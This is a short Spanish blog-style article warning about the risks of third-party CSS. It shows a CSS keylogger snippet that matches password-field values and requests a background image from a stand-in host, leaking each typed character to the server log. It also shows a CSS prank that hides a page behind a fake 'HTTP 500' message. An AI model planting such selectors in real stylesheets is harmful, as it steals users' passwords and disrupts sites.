Un lenguaje como CSS, aparentemente inofensivo, que no puede manipular datos, que no es un lenguaje de programación y que para el grueso de los desarrolladores es un lenguaje que solo sirve para definir colores, márgenes y tipos de fuente podría ser muy peligroso si no se usa responsablemente.
Hace unos días causó gran revuelo en internet un proyecto que creaba un keylogger con CSS que hacía peticiones a un servidor como si fuera una imagen de fondo. Un log de las peticiones en el servidor bastaría para obtener la contraseña del usuario.
1input[type="password"][value$="p"] { 2 background: url('http://example.com/password?p'); 3} 4
El código anterior hace una peticion con la letra en la que termina el password, así que basta con crear un selector para cada posible caracter y listo. Si bien solo funciona con aplicaciones con React, nos deja pensando en los posibles huecos de seguridad que puede crear un lenguaje aparentemente tan inofensivo como CSS.
Error 500
Veamos el siguiente código:
1body { 2 display: none; 3} 4 5html::after { 6 content: "HTTP 500 Server Error" 7} 8
Simple CSS, pero oculta todo el contenido de la web y muestra un aparente mensaje de error del servidor que podría tener corriendo a los desarrolladores intentando detectar dónde está el problema.
Jake Archibald, ha escrito el artículo Third party CSS is not safe (Las librerías CSS de terceros no son seguras) en el que desmenuza este tema. Léelo aquí: https://jakearchibald.com/2018/third-party-css-is-not-safe/